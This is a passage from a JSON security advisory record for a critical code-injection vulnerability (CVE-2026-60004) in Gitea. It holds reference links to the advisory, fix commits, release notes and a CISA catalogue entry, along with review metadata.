    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-60004"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/38637"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/38638"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/470d34b1de87d901bd9135564d5ee18c0d339e82"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/d7bc52beeadff4be5f5690de4d5de42abd10affe"
  }, {
    "type" : "WEB",
    "url" : "https://blog.gitea.com/release-of-1.27.1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xBlackash/CVE-2026-60004"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.1"
  }, {
    "type" : "WEB",
    "url" : "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004"
  }, {
    "type" : "WEB",
    "url" : "https://www.runzero.com/blog/gitea"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-08T17:56:30Z",
    "nvd_published_at" : "2026-08-26T20:17:56Z"
  }
}